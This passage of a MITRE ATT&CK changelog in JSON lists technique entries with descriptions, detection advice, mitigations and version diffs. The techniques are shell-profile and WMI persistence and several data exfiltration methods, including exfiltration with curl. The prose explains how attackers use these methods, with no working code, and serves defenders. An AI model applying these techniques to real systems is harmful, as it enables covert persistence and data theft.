>e executed to ensure the shell exits appropriately.   Advers>e executed to ensure the shell exits appropriately.   Advers
>aries may attempt to establish persistence by inserting comm>aries may attempt to establish persistence by inserting comm
>ands into scripts automatically executed by shells. Using ba>ands into scripts automatically executed by shells. Using ba
>sh as an example, the default shell for most GNU/Linux syste>sh as an example, the default shell for most GNU/Linux syste
>ms, adversaries may add commands that launch malicious binar>ms, adversaries may add commands that launch malicious binar
>ies into the <code>/etc/profile</code> and <code>/etc/profil>ies into the <code>/etc/profile</code> and <code>/etc/profil
>e.d</code> files.(Citation: intezer-kaiji-malware)(Citation:>e.d</code> files.(Citation: intezer-kaiji-malware)(Citation:
> bencane blog bashrc) These files typically require root per> bencane blog bashrc) These files typically require root per
>missions to modify and are executed each time any shell on a>missions to modify and are executed each time any shell on a
> system launches. For user level permissions, adversaries ca> system launches. For user level permissions, adversaries ca
>n insert malicious commands into <code>~/.bash_profile</code>n insert malicious commands into <code>~/.bash_profile</code
>>, <code>~/.bash_login</code>, or <code>~/.profile</code> wh>>, <code>~/.bash_login</code>, or <code>~/.profile</code> wh
>ich are sourced when a user opens a command-line interface o>ich are sourced when a user opens a command-line interface o
>r connects remotely.(Citation: anomali-rocke-tactics)(Citati>r connects remotely.(Citation: anomali-rocke-tactics)(Citati
>on: Linux manual bash invocation) Since the system only exec>on: Linux manual bash invocation) Since the system only exec
>utes the first existing file in the listed order, adversarie>utes the first existing file in the listed order, adversarie
>s have used <code>~/.bash_profile</code> to ensure execution>s have used <code>~/.bash_profile</code> to ensure execution
>. Adversaries have also leveraged the <code>~/.bashrc</code>>. Adversaries have also leveraged the <code>~/.bashrc</code>
> file which is additionally executed if the connection is es> file which is additionally executed if the connection is es
>tablished remotely or an additional interactive shell is ope>tablished remotely or an additional interactive shell is ope
>ned, such as a new tab in the command-line interface.(Citati>ned, such as a new tab in the command-line interface.(Citati
>on: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anom>on: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anom
>ali-linux-rabbit)(Citation: Magento) Some malware targets th>ali-linux-rabbit)(Citation: Magento) Some malware targets th
>e termination of a program to trigger execution, adversaries>e termination of a program to trigger execution, adversaries
> can use the <code>~/.bash_logout</code> file to execute mal> can use the <code>~/.bash_logout</code> file to execute mal
>icious commands at the end of a session.   For macOS, the fu>icious commands at the end of a session.   For macOS, the fu
>nctionality of this technique is similar but may leverage zs>nctionality of this technique is similar but may leverage zs
>h, the default shell for macOS 10.15+. When the Terminal.app>h, the default shell for macOS 10.15+. When the Terminal.app
> is opened, the application launches a zsh login shell and a> is opened, the application launches a zsh login shell and a
> zsh interactive shell. The login shell configures the syste> zsh interactive shell. The login shell configures the syste
>m environment using <code>/etc/profile</code>, <code>/etc/zs>m environment using <code>/etc/profile</code>, <code>/etc/zs
>henv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlog>henv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlog
>in</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJ>in</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJ
>XA_leopitt)(Citation: code_persistence_zsh) The login shell >XA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS 
>then configures the user environment with <code>~/.zprofile<>MS office sandbox escape) The login shell then configures th
>/code> and <code>~/.zlogin</code>. The interactive shell use>e user environment with <code>~/.zprofile</code> and <code>~
>s the <code>~/.zshrc</code> to configure the user environmen>/.zlogin</code>. The interactive shell uses the <code>~/.zsh
>t. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlog>rc</code> to configure the user environment. Upon exiting, <
>out</code> are executed. For legacy programs, macOS executes>code>/etc/zlogout</code> and <code>~/.zlogout</code> are exe
> <code>/etc/bashrc</code> on startup.>cuted. For legacy programs, macOS executes <code>/etc/bashrc
 ></code> on startup.
", "changelog_mitigations": { "shared": [ "M1022: Restrict File and Directory Permissions" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-24 14:07:56.276000+00:00", "modified": "2021-10-16 20:11:13.719000+00:00", "name": "Windows Management Instrumentation Event Subscription", "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/003", "external_id": "T1546.003" }, { "source_name": "Mandiant M-Trends 2015", "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf" }, { "source_name": "FireEye WMI SANS 2015", "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf" }, { "source_name": "FireEye WMI 2015", "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" }, { "source_name": "Dell WMI Persistence", "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.", "url": "https://www.secureworks.com/blog/wmi-persistence" }, { "source_name": "Microsoft MOF May 2018", "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-" }, { "source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" }, { "source_name": "Medium Detecting WMI Persistence", "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" }, { "source_name": "Elastic - Hunting for Persistence Part 1", "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.", "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1" }, { "source_name": "Microsoft Register-WmiEvent", "description": "Microsoft. (n.d.). Retrieved January 24, 2020.", "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Brent Murphy, Elastic", "David French, Elastic" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation", "WMI: WMI Creation" ], "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-16 20:11:13.719000+00:00\", \"old_value\": \"2021-04-13 21:32:54.094000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0005: WMI (WMI Creation)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:44.720000+00:00", "modified": "2021-10-15 22:49:28.766000+00:00", "name": "Exfiltration Over Alternative Protocol", "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1048", "external_id": "T1048" }, { "source_name": "Palo Alto OilRig Oct 2016", "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" }, { "source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" }, { "source_name": "University of Birmingham C2", "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain", "Alfredo Abarca" ], "x_mitre_data_sources": [ "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "File: File Access", "Command: Command Execution" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": false, "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:49:28.766000+00:00\", \"old_value\": \"2020-03-28 00:50:31.548000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \\n\\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \\n\\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) \", \"old_value\": \"Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \\n\\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \\n\\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) \", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \\n \\n-[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) \\n+[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) \"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"20 macOS Common Tools and Techniques\", \"old_value\": \"University of Birmingham C2\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.\", \"old_value\": \"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/\", \"old_value\": \"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"University of Birmingham C2\", \"description\": \"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.\", \"url\": \"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf\"}, \"root['x_mitre_contributors'][0]\": \"William Cain\"}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may steal data by exfiltrating it over a differet1Adversaries may steal data by exfiltrating it over a differe
>nt protocol than that of the existing command and control ch>nt protocol than that of the existing command and control ch
>annel. The data may also be sent to an alternate network loc>annel. The data may also be sent to an alternate network loc
>ation from the main command and control server.    Alternate>ation from the main command and control server.    Alternate
> protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other> protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other
> network protocol not being used as the main command and con> network protocol not being used as the main command and con
>trol channel. Different protocol channels could also include>trol channel. Different protocol channels could also include
> Web services such as cloud storage. Adversaries may also op> Web services such as cloud storage. Adversaries may also op
>t to encrypt and/or obfuscate these alternate channels.   [E>t to encrypt and/or obfuscate these alternate channels.   [E
>xfiltration Over Alternative Protocol](https://attack.mitre.>xfiltration Over Alternative Protocol](https://attack.mitre.
>org/techniques/T1048) can be done using various common opera>org/techniques/T1048) can be done using various common opera
>ting system utilities such as [Net](https://attack.mitre.org>ting system utilities such as [Net](https://attack.mitre.org
>/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct >/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 
>2016) >2016) On macOS and Linux <code>curl</code> may be used to in
 >voke protocols such as HTTP/S or FTP/S to exfiltrate data fr
 >om a system.(Citation: 20 macOS Common Tools and Techniques)
 > 
", "changelog_mitigations": { "shared": [ "M1030: Network Segmentation", "M1031: Network Intrusion Prevention", "M1037: Filter Network Traffic" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-15 15:34:30.767000+00:00", "modified": "2021-10-15 22:44:11.953000+00:00", "name": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol", "description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1048/002", "external_id": "T1048.002" }, { "source_name": "University of Birmingham C2", "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain" ], "x_mitre_data_sources": [ "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "File: File Access", "Command: Command Execution" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ", "x_mitre_is_subtechnique": true, "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"William Cain\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:44:11.953000+00:00\", \"old_value\": \"2020-03-28 00:45:51.014000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1030: Network Segmentation", "M1031: Network Intrusion Prevention", "M1037: Filter Network Traffic" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-15 15:37:47.583000+00:00", "modified": "2021-10-15 22:49:28.421000+00:00", "name": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1048/003", "external_id": "T1048.003" }, { "source_name": "University of Birmingham C2", "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain" ], "x_mitre_data_sources": [ "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "File: File Access", "Command: Command Execution" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ", "x_mitre_is_subtechnique": true, "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"William Cain\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:49:28.421000+00:00\", \"old_value\": \"2020-03-28 00:50:31.361000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1030: Network Segmentation", "M1031: Network Intrusion Prevention", "M1037: Filter Network Traffic" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:41.804000+00:00", "modified": "2021-10-15 22:45:50.620000+00:00", "name": "Exfiltration Over C2 Channel", "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1041", "external_id": "T1041" }, { "source_name": "University of Birmingham C2", "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain" ], "x_mitre_data_sources": [ "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "File: File Access", "Command: Command Execution" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": false, "x_mitre_network_requirements": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "2.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"William Cain\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:45:50.620000+00:00\", \"old_value\": \"2020-03-12 15:59:47.470000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1", "changelog_mitigations": { "shared": [ "M1031: Network Intrusion Prevention", "T1041: Exfiltration Over Command and Control Channel Mitigation" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:46.461000+00:00", "modified": "2021-10-15 22:48:29.702000+00:00", "name": "Exfiltration Over Physical Medium", "description": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1052", "external_id": "T1052" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Access", "Drive: Drive Creation", "Command: Command Execution" ], "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", "x_mitre_is_subtechnique": false, "x_mitre_network_requirements": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_system_requirements": [ "Presence of physical medium or device" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"William Cain\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:48:29.702000+00:00\", \"old_value\": \"2020-03-28 00:31:48.713000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1034: Limit Hardware Installation", "M1042: Disable or Remove Feature or Program", "T1052: Exfiltration Over Physical Medium Mitigation" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0016: Drive (Drive Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-11 13:50:11.467000+00:00", "modified": "2021-10-15 22:48:29.490000+00:00", "name": "Exfiltration over USB", "description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "exfiltration" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1052/001", "external_id": "T1052.001" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "William Cain" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Access", "Drive: Drive Creation", "Command: Command Execution" ], "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_system_requirements": [ "Presence of physical medium or device" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"William Cain\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:48:29.490000+00:00\", \"old_value\": \"2020-03-28 00:31:02.204000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1034: Limit Hardware Installation", "M1042: Disable or Remove Feature or Program" ], "new": [ "M1057: Data Loss Prevention" ], "dropped": [] 